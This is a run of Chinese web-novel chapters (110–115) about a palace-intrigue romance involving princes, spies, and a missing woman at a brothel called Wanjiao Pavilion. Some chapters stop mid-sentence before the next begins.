他的心底忽然生出一种不好的预感,仿佛在这个鱼目混杂的万娇阁里夹杂着一股极为邪恶的力量,而这力量仿佛与南安的某个人有关……

但不过须臾,他又即刻想起了他的丫头,稍一迟疑,便开口问梅志煊道“你是谁?你怎么会认识丫头?丫头她现在人呢?”

梅志煊淡淡地看了他一眼,疑惑道“丫头?”

易君浩露出一脸的不悦来,对其不屑道“就是城西衣府衣上坤家的嫡长女,衣上云,不久前刚被你带至这万娇阁里的白衣女子。”

梅志煊这才恍然大悟,却也缓缓记起,眼前这装扮如此张扬妖艳之人,不正是昨日才见过的,与那西秦秦王轩辕翰俩人为了一个女子而在大街上争风吃醋的南安国太子么?!

于是,梅志煊脸上顿时现出一抹轻蔑的神情来,笑着对他说道“喔,本公子还以为是谁呢?原来是灵空大陆鼎鼎有名的南安国身份尊贵的太子殿下呀。可这太子殿下想要这天下什么样的女人没有,竟也跑来这等不入流的风月之地寻花问柳?如果这要是被传了出去,怕是会把那个胆小如鼠的南安老家伙气的吐血了吧?!哈哈哈……”

说完,梅志煊竟毫无忌惮的大声狂笑起来。

易君浩听闻此言,顿时一惊,赶忙低眉急急朝着四周扫了一圈。见似乎并没有旁人听见,这才冷着眼再次看回他,疑惑地问道“你到底是谁,怎么会知道本太子的身份?”

显然,易君浩为此甚为吃惊。倒却也并不是因为梅志煊所说的,知道他去了风月之地会将其父皇气的如何,而是他在西秦国的身份一直掩饰地极为隐秘,甚至连西秦秦王轩辕翰屡次明里暗里费劲心思地查他的底,也是无功而返。但却被眼前的这个脸上遮着蝶形面具的神秘人一语道破。

看来,眼前这个人的确非同一般,自己竟就这样暴露了,易君浩心里暗暗琢磨着。

然而,梅志煊在猜到了他的身份后。此时竟改变了姿态。双手负后,挺直身姿,不屑而更又似挑衅般的回他的话道“本公子是谁?……本公子的身份又岂是你一条乳臭未干的小小南安国淫虫有资格知道的呢?”

“你…”

顿时,易君浩火冒三丈的眼睛愤怒地对其一怔道,却又瞬间欲言又止。

他再次上下仔细地将眼前这个遮着面具,不敢以真面目示人,尽是满嘴挑衅着口出狂言的可恶家伙打量了一番……

片刻后,正欲发火,却又瞬间似是想到了什么,心里已有所打算……

只见他亦缓缓单手负后,挺直了腰身,半眯着眼睛,以一副极为傲慢的姿态,质问梅志煊道“你到底是东宁国还是北烈国派出的细作,竟敢在此几次三番如此猖狂不羁地挑衅本太子?”

易君浩亦是早已听闻过父皇对他所言及的,如今灵空四国,都蠢蠢欲动着欲想统一整个灵空大陆,做这天下唯一的霸主。

北烈和东宁亦早都已相继派出极为神秘、强大和隐蔽的细作力量渗入到西秦来。

只因为在整个灵空大陆,传说着西秦国里有一股世间极致神秘至强的力量,得此力量者得天下,而这股力量究竟是什么,世人皆众说纷纭。

有人说,这股力量是一个神秘的族落,他们拥有能控制整个天下的无穷智慧;

又有人说,这股力量是一个天降大任于其身的特别的女子,得到她便是得到上天的垂怜,将会得到整个天下;

还有人说,这股力量是一把能斩妖除魔的神剑;

亦有人说,这股力量是一种神秘的血液,拥有天下最神奇的力量;

也有人说,这股力量是一个圣物,拥有能创造奇迹的力量……

所以,西秦才会成为整个天下争霸的首个众矢之的,要想统一灵空大陆,便要最先寻找以及得到这股力量。

然易君浩却对这天下丝毫没有兴趣,如果一定要他给出一个来西秦的原因。

那么,起初便是他被这股神秘力量的好奇心所促使,但却仅仅只是好奇而已,他从未想争夺甚至拥有这股力量。

他平生所愿的,只不过是这种闲云野鹤、悠哉悠哉、有酒有美人的田园药草香生活而已。

可如今,遇到了丫头,他似乎所有的重心又发生了明显的偏移。只是所有美好的这一切,却因为那秦王轩辕翰的介入让他困难重重,然心底的火苗却从未曾熄灭。

可眼下现在,让易君浩没有想到的是,会在这万娇阁里遇见明显是细作的人,难道这各国细作竟已经是无孔不入了么?!

而此刻更令他忧心的是,眼前的这名细作竟会和衣上云纠缠在一起,他究竟对他的丫头有何企图呢?

正在他沉思之际,梅志煊不屑一顾地对他冷哼一声,反问道“哼…细作?如果本公子是细作,那太子殿下您又是因何从遥远的南安之地千里迢迢来到这西秦大地呢?太子殿下可不要告诉我,只是留恋于这西秦万娇阁里的姑娘吆?”

“哼,本太子因何来到西秦,凭什么要告诉你?无论如何,也总好过于某些人,连真面目都不敢露出来。”

说着说

第一百一十章:万娇阁里遇故人

正在易君浩思量之际,眼看着官兵就要冲上楼来,楼上楼下的人们都乱作一团,纷纷惊慌地胡乱奔跑着,官兵们在人群中四处搜索着……

忽然,他恍一回神,灵光一闪,随即便眼疾手快地一步上前,迅速踱身到尚还痴愣在隔壁门口,不知外面究竟发生了什么的衣上云面前。

一近身,易君浩便伸手将她一把推了进去,跟着亦将自己的身子如闪电般的快速一避闪,便随她一同进到了隔壁房内,易君浩立即将门从里面紧紧扣上。

“外面官兵在找人,赶快把外衣脱掉,躲到榻上去。”易君浩一进去,还未等衣上云反应过来,便对她认真的说道。

衣上云听闻此言,顿时惊恐地抬头看着他的眼睛,脸上露出一脸的难色。可又一想,无论如何,她可不能在这种地方被官兵捉走。

于是,看着易君浩坚定的眼神,衣上云一咬牙,强鼓起勇气,便大步流星地回头朝内室兰香的香榻边走去。

易君浩见她已然心领神会地进去做掩饰,方才急急亦将自己的一袭甚为耀眼的紫红锦袍赶忙褪去,又一层一层,最后褪至只剩下了一件单薄的白色底衣,并将衣襟敞开来,裸露出极为迷人性感的上半身来。

顿时,一个妖艳而又不失英俊的风流倜傥,洒脱不拘的美男子便现了出来。

只见其五官精致,脸上的线条坚定而有力,宽阔的肩膀,眼神妖艳,身姿挺拔,要胸肌有胸肌,要腹肌有腹肌,真是迷死人的节奏。

就在这时,突然响起一阵急促的拍门声和官兵的叫喊声“开门,快开门,官府办案,还不速速把门打开...”

闻此,易君浩远远地再次朝内室张望了一眼,见已没有了什么动静,想必衣上云亦是早已掩饰好了,方才缓缓踱步过去把门打开来一条缝,露出半张妖艳至极的俊脸和那细长迷人的桃花眼。

俩名手持长剑,一身戎装的官兵一看见他,便气势汹汹地一把将门推开闯了进来,接着又将他重重地推到了门板上,随即便如狼似虎般凶狠地冲着房内四处张望寻觅着走去。

忽然,其中一名人高马大,面露凶色的官兵手里拿着一张似是女子的画像,那人似是发现了在内室榻上佯装掩饰着的衣上云,正欲要朝内室走去。

“你要干什么?”易君浩一着急,慌忙上前绕至其面前来,伸展开双臂拦住那人道。

谁知,那名官兵竟瞬间从腰上拔出长剑来,另一手又朝其扬了扬手里的画像,对其厉声喝道“没看到大爷在找人吗?你是什么人,竟胆敢阻拦官府办案,老子一剑劈了你。”

易君浩听闻,正想踱步上前看一看他手中那张画像的究竟,却忽被其朝自己指过来的长剑阻拦。



在他预备着,想要给那高个儿一点颜色看看的时候,身后忽又进来一名似是其头领的人物。

“程将军”两名官兵即刻同时朝其恭敬地拱手行礼道。

易君浩尚还停留在自己的思绪缠绕之际,闻声亦连忙回头转身,却一下子竟被惊呆了“怎么是你?”

程良闻声,似是有些耳熟,随即抬起头亦朝他仔细看了过来。

只见他顿时惊讶地瞪大着眼睛,似乎都快要说不出话来,直用手指着易君浩,半晌后方才开口道“谷...谷主大人,易三少,你...你竟然也来这种地方消遣,看来程良我还真是小看谷主大人了!”

显然,程良无论如何都想不到,大名鼎鼎的百草谷谷主竟然也会留恋沉醉于这烟花之地的风尘女子。

忽然,内室榻上极为心虚地辛苦佯装着的衣上云听到程将军三个字,顿时越发害怕地忍不住惊吓出声“咳咳...”

听到衣上云的声音,易君浩随即眼睛一怔朝内室忧心地看了过去,程良亦是挑了一眼那紫色轻纱帐内的女子身影。

一时间,众人都朝着内室里传出声音的女子身影望去,亦全都愣住,仿佛连呼吸都快要停止一般。

而稍一犹豫,程良这才回头将目光定格凝视在眼前易君浩衣衫不整...不,他此时又岂止只是衣衫不整,分明俨然一副刚刚经历了一场香榻上颇为激烈和露骨的翻云覆雨,而后被抓现形的样子。

忽然,他的脸上竟渐渐露出一抹蔑视的轻笑来,随即单手负后,另一手半握成拳低着眉眼轻触一下鼻翼,悠悠地对身旁的俩名官兵说道“哼...既然此处是谷主大人消遣享乐之地,那便不必查了。还不快出去隔壁房里仔细搜查。”

“是”俩名官兵领命后,便急急退了出去。

“谷主请多包涵,抱歉打扰了,您继续,继续...”程良一边轻笑着拱手致歉,一边缓缓退了出去,到门口的时候,还不忘替其将门轻轻掩起。

见前来搜查的人都已离去,易君浩稍一迟疑,便过去赶忙将衣袍穿起,又对尚还在内室的榻上心神不宁,瑟瑟发抖着的衣上云通知道“好了,人都走了。”

衣上云闻此,方才长长松了口气,缓缓起身朝外走来。谁知,一出来便看到易君浩一副衣衫不整的样子,顿时羞红了脸将头转过去。

易君浩似是意识到了衣上云的羞涩,亦立即将身体转了过去,扭过头不再看她,动作麻利地很快穿戴整齐好。

衣上云这才看了回来,疑惑地问道“方才的那位程将军,可是秦王府的程将军?”

“嗯,是的。这轩辕翰是不是最近太闲了,竟让自己的亲信管到这种烟花柳巷里来了。”易君浩亦是疑惑不

第一百一十一章:寻人,失之交臂

万娇阁门前河岸的对面,一座风格建的极为雅致的名为“香满楼”的酒楼里,飘出一阵阵甚为诱人的酒菜香气来。

酒楼墙壁上,那苍劲的题词记录着酒楼曾经过往里的一段段辉煌。

酒楼里面,店小二端着酒菜飞快地穿梭在一桌桌酒席之间,如同一个旋转不停的陀螺般忙碌着。

酒楼共有三层,此时,在最高层边上一幽静的雅间里,轩辕翰独自一人刚用过晚膳。眼前正在烧煮着的热茶欢快地上下翻滚着,他凝神看着看着,轻轻抿了一口手中清香扑鼻的茶汤,随即又转头望向了窗外对面,万娇阁的门前。

窗外,远处依旧还是寒冬里渐深起来的一片幽然夜色,而仿佛只有眼前的这条街道上却是处处都灯红酒绿、穷奢极欲、醉生梦死、纸醉金迷着。

望着眼前这片极尽奢靡的景象,轩辕翰的脸上似是浮起了一抹极为不悦的颜色,却因天性本就一副冰冷的模样,所以并不是很容易便会被人发觉。

忽然,程良悄悄掀起门帘走了进来,稍一顿足看了看主子的脸色,方才小心翼翼地禀道“殿下,属下已搜便了整个万娇阁,并未见到衣姑娘人影...会不会是她尚且还在途中赶路,并未到达万娇阁呢?”

轩辕翰听了,一双深邃的眼眸依旧只盯着万娇阁门口,仿佛还沉浸在他方才的那抹愁绪当中。

沉默了片刻,方才吐了口气,似是一颗悬着的心终于得到了安放之处。

回过神后,接着只对其冷冷问道“可都部署好了么?”

然话音刚落,他的余光忽然扫到从万娇阁里走出来一男一女俩个人,似是有些特别。

于是,他又望向了窗外。见那其中有个瘦瘦弱弱的遮着面纱的男子被前面的女子拖拽着,然其身影和走路的模样怎么看,都宛如一个纤纤女子。

“殿下放下,只要他们一进出万娇阁的门,属下保证他们插翅难飞。”程良信誓旦旦地答道。

然轩辕翰的目光仍然紧随着楼下那个宛如女子的男子移动着,听到程良的话,略一沉思,说了句“倘若他们不走明道,暗度陈仓,那又该如何?”

程良听闻,顿时一惊,道“殿下是说,他们有密道?”

终于,见眼前的一男一女渐渐地消失在这片夜色中,轩辕翰方才收回视线,吐了口浊气,放下手中的茶盏,却没有说话。

程良忽然心生一种不祥的预感,似是觉得自己真的轻敌了,怕是早已经酿成了大错。于是,连忙拱手谢罪道“属下该死,请殿下责罚。”

轩辕翰听了,并没有理他,只忧心道“万娇阁里定是暗藏了玄机,一定要查出来。而且,玉娘突然失踪,本王只怕她早已暴露了自己和秦王府的关系,恐怕他们是要

动手了。”

“属下这就回去万娇阁里,将其角角落落仔仔细细地查个遍。”一听到主子的分解,程良说着便着急地转身想要离去。

却忽然间像是想起了什么顿足停了下来,再次回过头去,似是有些难以开口,可最后还是一咬牙,说道“殿下,有一件事,属下不知道该不该说...方才属下在万娇阁里找衣姑娘的时候,遇到了易三少。殿下绝对想不到,他竟然在房内与万娇阁的姑娘翻云覆雨,被属下逮了个正着,就连那姑娘也还尚躲在榻上不曾来得及离去呢。”

程良最后的言语中尽满已是吃惊与得意。

然轩辕翰一听到“易三少”三个字,眼前忽然一亮,又顿时联想到方才楼下的那个遮着面纱似是女子的男子,瞬间竟猛然站起身来,将那方才一直低垂着的眼睛迅速抬起,对其厉声呵斥道“什么,易三少也在万娇阁?为何不早说?他怎么可能会去那种地方?一定是...”

轩辕翰愤怒地欲言又止道,似是心中已有了怀疑。忽然觉得心里七上八下,更加担心了起来。

程良俨然被眼前的主子顿时惊到,不知轩辕翰究竟为何动怒,只皱了皱眉,低声地问道“属下以为这只是那易三少不为人知的嗜好,若不是因为他一直纠缠着衣姑娘不放的话,属下怕是也不会对殿下说这种事情的。”

“可有亲眼看到他房内女子的模样?”轩辕翰并不听他的解释,只着急地问道。

程良摇摇头“当时属下对那易三少此举过于吃惊,便疏忽了内室榻上的那女子,只见其躲在轻纱帐中,裹得严严实实,但并未进去详查。”

轩辕翰顿时皱起眉头,狠狠地瞪向他,程良自是不知其意,即刻变得六神无主起来,只怯怯地问道“难道那女子,殿下认为有什么问题吗?”

轩辕翰强忍住内心的怒火,朝其冷冷道“你可知道方才他房内的女子是谁吗?”

程良稍一沉思,似是忽然间恍然大悟,惊道“难道殿下是怀疑,方才躲在易三少房内榻上的女子便是衣姑娘?...可是,不对啊,方才易三少全身脱的光光的,只剩下一条底裤,衣姑娘怎么可能是如此放荡又轻浮的女子?”

“什么,易三少真的这样做了?”轩辕翰听闻程良所言,瞬间大惊失色道。

程良似是这才察觉自己又说错了话,于是惊恐地看着轩辕翰满是惊愕的表情,朝其点了点头。

轩辕翰即刻紧紧地握起他那两只拳头来,发出咯咯的响声,一双愤怒的眼睛似是要放出万支利剑来。

稍一犹豫,他回过神,对程良说“方才说话间,本王看到从万娇阁里走出来一男一女,那男子亦是遮着面纱,

第一百一十二章:万娇阁外,被劫

兰香稍一沉思,却忽然改变了口气,挑高声音轻描淡写地说道“你放心,玉娘她一时半会还死不了,不过以后的事,那就......”

衣上云听出她这话里有话,便顿时觉得心里乱哄哄的,七上八下着,然最终还是冷静了一下,疑惑地问“你这话是什么意思?”

兰香轻叹口气,眼神迷离着说道“在万娇阁里,玉娘从来都与我们所有人不同,她向来不用接客,亦不用看人脸色。你可知道,我有多羡慕她么?”

衣上云听了将信将疑地朝其哼道“哼…难道她在这种地方还会过的有多好不成?你到底想说什么?”

兰香淡淡地看了她一眼,似是心里也不完全清楚明白这其中原由,只轻笑了一声,似是有些不甘心地幽幽说道“你也觉得很难以置信对吗?进入这样的烟花之地还能保全一个清白的身子,任谁都不会相信的,可事实却是如此。方才你也看到了,我的房间宽敞明亮又干净,是这万娇阁里所有姑娘中住的最好的。而就在不久前,住这间屋子的人正是玉娘。可与我不同,她一进来万娇阁里,便终日大门不出二门不迈,整日里锦衣玉食侍奉着,就如同一个大家闺秀般被悉心呵护着。一日三餐更是那老鸨亲自送进房里照料。她从来都不用伺候那些令人望之就想作呕的臭男人。而我……”

兰香说着说着忽然停了下来,对于以前种种煎熬残忍的过往,她实在难以启齿,也不愿再回忆起。最后,只将那弯弯的两道柳月眉皱的紧紧地,狠狠咬住那张红艳艳的唇,沉默着不再说话。

看着兰香回忆起不堪的从前,颇为黯然神伤着,衣上云忽然对眼前这个可怜的人,心里亦是生出了最初的那份同情和不忍。

但稍一沉思,她忽然似是有所怀疑,问道“难道是玉娘知道了你处境艰难,又念及你俩姐妹情深,将这一切都让与了你?既然你已经得到了你想要的一切,那玉娘呢?你们把玉娘怎么了?她对你那么好,你怎么能恩将仇报...”

不知为何,还未等衣上云将话说完,兰香忽然就像是被人踩住了尾巴,顿时露出一副恶狠狠的眼神,抓狂地用手指着衣上云的鼻子,声嘶竭底地对她吼道“闭嘴,你懂什么?这一切都是我应得的,兰香虽然没了干净的身子,但是还绝对沦落不到要靠别人施舍和可怜度日。这些年,我在万娇阁里,吃了那么多苦,受了那么多罪,为他接了那么多特别的客人,做了那么多伤天害理的事……我那么全心全意地对他。那个位置本来就是我的,凭什么她玉娘一来就将这所有的一切属于我的都占了去?甚至连他...都因此不愿再看我一眼。”

衣上云被眼前忽然一张狰狞无比的脸,

惊呆了。半天后方才疑惑道“他?他是谁?”

兰香发觉自己竟一急之下,险些说漏嘴酿成大错,连忙缓过神来眼睛朝四下里躲闪着。

沉默许久后,她却忽然无厘头又似意味深长地对衣上云说道“你真不该来这里,这万娇阁表面上看只是一座金碧辉煌的烟花之所,实则里面阴谋重重。你来了,只怕是有去无回...对不起,兰香自知千不该万不该,不该喜欢上那样一个薄情的人。如果兰香此生不是沦落为一个风尘女子,从此一切身不由己。或许,兰香会一辈子视玉娘和小姐你为很好的闺阁密友的。”

兰香一边说着,竟不知何时已悄悄地绕向了衣上云的身后去。

而衣上云听着她此时这番发自肺腑,似是真情流露,却又云里雾里的言语,正皱起那好看的眉头,入神的琢磨着。

忽然,兰香一步跨到其身后,伸出一只看似娇柔,实际上却充满力量的手来,对准她的后颈部重重地一掌劈了下去......

只见顿时,衣上云的整个身子便朝地上倒了下去。

兰香眼睁睁地看着衣上云倒在她的脚下,脸上却露出一脸异常的平静。悠悠地眼神对其说道“你不是很想知道玉娘在哪里吗?我现在就告诉你,玉娘她——远在天边近在眼前。”

......

万娇阁附近的如意居里。

易君浩正独自一人坐在厅里一处不起眼的角落,面前的桌案上摆着几碟小菜,一壶清酒。

他正痴痴地一边发呆,一边缓缓地旋转把玩着手里的杯盏。

半晌后,只见那双细长迷人的桃花眼忽然朝着门外望了望,似是在等待着什么,却瞬间又失望地收回视线暗自叹了口气,随后便将手中杯盏里的美酒一饮而尽,又继续提起酒壶来欲将其再次斟满。

可这时方才发觉,竟已不知不觉间又是一壶酒下肚了,于是斜着眼睛朝着身后的柜台上吆喝道“掌柜的,再来一壶酒。”

“客官,您这可已经是第三壶了,这酒可是如意居里最上乘的清酒啊,客官当心身子。”掌柜的一上来便关切道。

然易君浩却似对掌柜的一番好言相劝甚为不满,有些不耐烦地朝其喝到“怎么?你是怕大爷我付不起酒钱么?”

说着,便从腰间扯下了整包钱袋来丢在桌上,掌柜的一见,立马解释道“看客官这话说的,我们这开门做生意的,有钱哪儿

第一百一十三章:竟已是,人去楼空

“登记肯定是有的,可这信息,我们本应该都替客人保密的,这......”掌柜的面露难色道。

易君浩连忙说道“实不相瞒,那女子是本公子的表妹,瞒着家中父母独自来到这里。方才本公子本已在万娇阁里找到了她,可她非要坚持跟一陌生人出去片刻,许就是跟她一起住店的人。我们本来已经约好了在此相聚,可这眼看着亥时都快过去了,会不会出了什么事?”

话说,那毕竟是个姑娘家,掌柜的一听易君浩这番话便也确是有些心软了。

顿时朝着身后的柜台边上望了一眼那更漏上所指的时辰,见着也确实已太晚,似是也替其有些担心了起来。

纠结了半天,又看看易君浩此时已近是哀求的眼神,一咬牙,索性便急急起身来朝柜台前大步迈过去,易君浩一见亦连忙站起精神抖擞地紧随其后。

“公子请看,这就是那位戴着面具看似气质不凡的公子做的登记,这所有的花销也都是这位公子支付的。”易君浩急急顺着老掌柜所指向的地方看去,只见那登记簿上白纸黑字,清清楚楚地显现出来“江志煊”三个字。

然一看到这名字,他便即刻愣住了。

作为西秦国里医药界巨头的百草谷和百草堂正主,这有头有脸能住的起这城南如意居的非富即贵的人没几个,可眼前这个名字却着实生疏地很,十之八九怕是这来者不善了。

稍一迟疑,只见他眉头紧皱,跟着又匆匆瞥了一眼房间号码,竟是无巧不成书,这俩个房间正好挨着他的房间。于是,便径自迈着大步直冲向了位于二楼东边的那间天字号客房。

掌柜的一见,突觉似是有什么严重的事情将要发生,便亦急急跟了上去。

他一路小跑,好不容易才追了上来,正气喘吁吁地打算告诉易君浩,方才忘了跟他讲,这房里的客人不久前刚回来已经歇息了。

却只听到“哐当”一声响,那门便已被易君浩极为大力的一脚踹了开来。

而随之眼前所发生的极为诡异令人惊悚的一幕,更是瞬间让那老掌柜惊的目瞪口呆。

不知何时,房内的人竟然早已经奇迹般地似是凭空消失了一般,不见了踪影,可他一直还在楼下等着随时侍候贵客呢?!

半晌后,只见掌柜的仍旧一脸惊愕地站在房间门口,望着空荡荡的客房心里暗自纳闷,人呢?方才在下明明亲眼看到他上楼来了啊,难道是在下的老眼昏花了不成?说着,伸手用力揉了揉眼睛。

易君浩亦半眯起那细长的眼睛皱起眉头一脸狐疑地看着眼前的一切。

俩人并排站在空荡荡的房间门口沉默了半天后,易君浩忽然一回神问道“掌柜的方才说这位客人遮着面具,可是一银白

蝶形面具?”

掌柜的似是至今都还尚在梦中一般,只对其淡淡回道“正是,可他明明在公子回来的前一刻方才踏入如意居的大门。此后,在下便与公子一直在楼下交谈,并未见他下楼离开啊,这人难不成是长了翅膀飞了不成?”

掌柜的话音刚落,似是还不能完全相信自己此时所见。便赶忙踱步进去房内角角落落又仔细地查看了一通,甚至还趴在窗前上下左右着望了望,却依旧一脸不变的匪夷所思。

“江志煊,你到底是谁?这真的就是你的名字吗?你究竟想要对丫头做什么?”易君浩口中低声喃喃道。

然此时,他却更加确定此人一定没那么简单。他的身份亦是极为特殊,怕绝对不是一般的细作,对衣上云也更是动机不纯的猜想。

忽然,他抬起头来眼睛一怔,像是受到了很大惊吓似的,一种不好的预感油然而生,大喊一句“糟了!”

跟着,便急急冲下楼去,一出如意居的门,便朝着万娇阁的方向又折了回去。

就在他刚走出门没多久,轩辕翰在程良的陪同下亦缓缓步入了如意居的大门,却都沉默着现出一副尽是疲惫与失落的神情。

见轩辕翰进门,掌柜的匆忙上前来极为恭敬地笑着朝其行礼“殿下回来了。”

轩辕翰此时根本没有心思理他,只径自拖着难得一见的沉重的脚步缓缓朝楼上走去。

掌柜的亦更不知发生了何事?悄悄朝着旁边的程良撇了一眼,程良对他使了个眼色,他立马收了声不再说话,只与程良一道紧随其后亦上了楼去。

原来,这城南香满楼和这如意居亦都是这秦王轩辕翰的产业。

到了三楼最东边一套极为幽静,布置更显庄严的门前候了许久,见程良终于安顿好主子,从房间里走了出来。

上楼一路思量了许久,老掌柜的还是走上前来,含笑着关切道“程将军辛苦了,殿下就寝了吧?!”

程良淡淡地看了他一眼,随即深叹口气,似是怕俩人交谈的声音吵到了主子。于是,一边朝着三楼角上走去,一边说道“殿下本来整日里就政务繁忙,这会儿心上人又丢了,哪里会这么早便入睡?还在书房里睹物思人呢。本将军送殿下回来,这会儿也要回去守着万娇阁了。”

“心上人丢了?可是秦王妃丢啦?”掌柜的一听,顿时惊道。

程良瞪了他一眼,似是有些不高兴地说“不是秦王妃,是一个…整日里遮着面纱,总喜欢独自到处乱跑,

第一百一十四章:大红灯笼高高挂

掌柜的对程良幽幽道“衣姑娘入住后,在房内换了一身男装,又用了晚饭,一行三人便一道出了门,至今未归;而将军所说的那易三少,据他自己所言,他自称是衣姑娘的表哥。又说方才本已在万娇阁找到了衣姑娘,又被什么人约了去。他怀疑是与衣姑娘一起来住店的人居心叵测,想对衣姑娘不利,便上楼查了那客人的房间。哎呦,老夫到现在还惊魂未定呢,谁料想那客人竟不知何时,已离奇般消失地无影无踪。那易三少一见,怀疑衣姑娘遇到了危险,就在方才殿下与将军回来的前脚刚刚追了出去。”

“果然是易三少搞得鬼…这一切竟真如主子所料。”程良终于恍然大悟道。

但稍一迟疑,他又急忙问“你可知那易三少去了哪里?”

掌柜的稍一回忆,也似猜忌地说道“听他说是在万娇阁里找到衣姑娘的,老夫估摸着,他应该还会回去那里寻或者等吧?只是,这衣姑娘一个女子,怎么会去那种地方呢?”

程良并没有理会老掌柜的疑惑,只皱着眉头自顾自地重复了一句“万娇阁”

随后,便还不等老掌柜反应过来,便急忙伸手一把拉起他,转身就朝轩辕翰的门前折回,轻轻叩响了门,进到了屋内去。

让老掌柜将知道的所有一切一字不落地朝主子仔细禀报起来……

“殿下为何不等衣姑娘,带她一起回去呢?她一个人在这儿,怕是不安全吧?”

一条风高夜黑的郊外小道上,侍卫一边担心又不解地问着,一边急急策马奔驰着。

此时,梅志煊已除去了脸上蝶形银白面具的遮掩,露出一张线条甚是精致俊朗的面孔,散发出满副温润如玉的尊贵之气来。

听到侍卫的话,顿时那精致的脸阔上现出一抹不悦之色“有那俩个人在,她不会有事的。方才万娇阁里的官兵就是那秦王轩辕翰安排来此找她的,而且本皇子还亲眼看到那南安太子也在。”

侍卫难以置信,惊道“殿下是说,那秦王轩辕翰和南安国太子也到了城南?”

梅志煊一想到方才的惊险,便叹了口气“方才本皇子攀附在万娇阁窗户外面躲避追查时,窥见那前来查房的头领,正是与那轩辕翰整日里形影不离的副将。本皇子肯定,轩辕翰一定也就在周围,我们如果再呆下去的话,怕是很容易会暴露的。”

“那嫡公主的事,我们还……”侍卫听闻忽觉有些后怕,可稍一犹豫,又忧心地欲言又止道。

“先回东苑,城西衣府附近的栖身之地,怕是很快也会被人查出来的。来日方长,此事再另做打算吧?隐藏身份最重要!……对了,尽快约永乐出来一趟,本皇子必须亲自见她一面。”梅志煊意味深长地对侍卫吩咐

道。

……

“江...志煊”

听完了程良和老掌柜新呈上来的消息,轩辕翰低声重复了一句。

可正如易君浩的逻辑,这西秦的达官贵人里,轩辕翰自是比谁都更要熟悉,显然他怎样都从记忆里找不出一个这样的江姓男子出来。

而此时,他忽然想起轩辕玥来之前打探到的消息,是俩个东宁国人将衣上云带走的。

于是,忽然第一个从他脑海里冒出来便是“梅志煊”的名字。想到这里,他那两道浓密的剑眉深深地皱了起来。

而老掌柜的悄悄一察颜观色,早已瑟缩成一团,不知该如何自处。只得心里极为忐忑着,垂下眉目,等候着发落。

半晌后,却只见轩辕翰转目盯视着书案上放着的那方纯白的云字丝帕,深吸口气,又缓缓地将其呼了出去。

此时,他心里又多升起一缕悠长的愁绪来,真是一波未平一波又起。

忽然,程良面露难色道,打破了这眼下静的可怕的气氛“殿下,如今我们到底该如何是好?这万娇阁里,似乎很难找出突破口?”

他已亲自几次三番地搜查,依旧没有丝毫收获。如今,不但连玉娘的失踪尚还没有寻到蛛丝马迹,就连衣上云也掺入其中不知所踪。

见轩辕翰一直不出声,程良忽然怀疑道“难道是我们方向错了,这件事并不只与万娇阁有关,还有其他势力的介入?!”

程良说完一抬头,方才发现不知何时,轩辕翰竟已垂首双目禁闭着,似是陷入了无尽的沉思之中。

而忽然,他深吐一口浊气后,睁开那双深邃的眼眸,极为肯定地说道“本王的猜测一定没错。万娇阁不让玉娘接客,却只对玉娘用毒,一定是有什么极大的阴谋。而这毒之前云儿说过,那是只有北烈才生长的毒物;而玉娘一直都在万娇阁里呆着,却在突然遇到了一个北烈茶商后,没多久便失踪了,茶叶对于北烈国来说,犹如我西秦人每日所用之食盐一般不可或缺,并不是一般简单的商人所能触及的;再加上前些日子,我们在北烈安插的细作不是传来消息说,北烈大皇子拓跋泽已混入我西秦市井之中嘛。”

程良似是听懂了什么,连忙插嘴道“属下明白了,能指使下令给玉娘用毒的,以及能做北烈茶商的,还有这万娇阁背后真正的主子,怕正是这北烈国大皇子拓跋泽。玉娘一定是到了被他们利用的时候了,所以极有可能已经……”

&

第一百一十五章:可怜天下父母心

忽然,前方不远处隐隐约约地现出一条极为幽静的街道来。

那街道尽头,一极不起眼的门户上高高挂着的两盏跳跃着火红温暖烛光的大红灯笼,引起了轩辕昊的注意。

看上去,这家似是姐弟俩在这城南半日里见过的所有门庭里,最为简朴的一小门小户。

因为,这大过年的,每户人家都是竭尽所能的张灯结彩,装饰着尤为重要的门庭脸面。

可这户人家却只是在门前挂了两盏灯笼,仅此而已,甚至连副春联都不曾张贴,看起来很是寒酸的样子。

轩辕昊心想,定是这户人家家中的日子过的很拮据吧,不由得暗自里替其叹了口气。

他一边缓缓朝那方向踱步着,一边默默地望着那幽静而又温暖的烛火。片刻后,不知为何,心里却忽然觉得那灯笼仿佛是院子里面的母亲,特意为在外奔波辛劳的孩子点的一盏照亮其回家之路的路标一般。

随即,他的眼中又流露出一股暖意,不禁口中低声喃喃道“慈母手中线,游子身上衣。临行密密缝,意恐迟迟归。真是,可怜天下父母心啊。”

忽然,一阵寒风袭来,“阿嚏”轩辕玥似是本能地打了个喷嚏。姐弟俩急着出门寻衣上云的消息,出门时着急地竟然连银子都忘了带,这会儿真的是又恼又冷又饿。

轩辕昊闻之,方才回神,像个小大人般关心道“皇姐,你是不是冷啊,要不把皇弟的斗篷给皇姐披吧。皇弟是男子,出门在外,理应保护照顾好皇姐才是。”

轩辕昊说着,便停下脚步来,麻利地伸出手去解带,轩辕玥急急一把上前阻止了他。

见轩辕昊此刻如此暖心,心中忽然涌起无尽的暖意来,抿起嘴朝其笑着摸了摸他的头,甚是欣慰地说道“皇弟真的长大了,都知道关心人了,皇姐真的很开心。皇姐相信,如此善良优秀的皇弟,以后也自然一定能做个勤政爱民的好国君,庇护我西秦子民。”

可是,轩辕昊一听这话却忽然嘟起嘴来。稍一犹豫,垂首下去满不开心地对轩辕玥说“皇姐……其实皇弟根本不想做皇帝。与其如父皇和秦皇叔那般冰冷又无趣地活着,那还不如让皇弟跟随太傅去到灵空大陆各方四处游历呢。如此,至少皇弟是自由自在且没有烦恼的。”

轩辕玥听了,方才还挂在脸上的淡淡笑容忽然渐渐褪去,沉思片刻,语重心长地对他说道“世人又有谁不爱自由呢。但你我既已生在帝王家,成为皇族儿女,便都注定了这一生拥有各自神圣不可抗拒的天命。所谓天命难违,你我这一世从一出生便都已注定是身不由己了。况且,人总要学着慢慢长大和有所担当,不是么……”

轩辕昊自也不是不知道轩辕玥所说的这番道理

,也许是真的他还只是个十岁的孩子而已,心中总有不甘,为何自己就不能按照自己的意愿去过这仅有的一生一世。一转念,他忽然问道“那皇姐呢?皇姐真的想好了要嫁到东宁国吗?那以后皇弟和母后可就很难再见到皇姐一面了呀?!”

被轩辕昊忽然这么一问,想起了梅志煊,轩辕玥的脸上不禁流出一丝甜蜜。

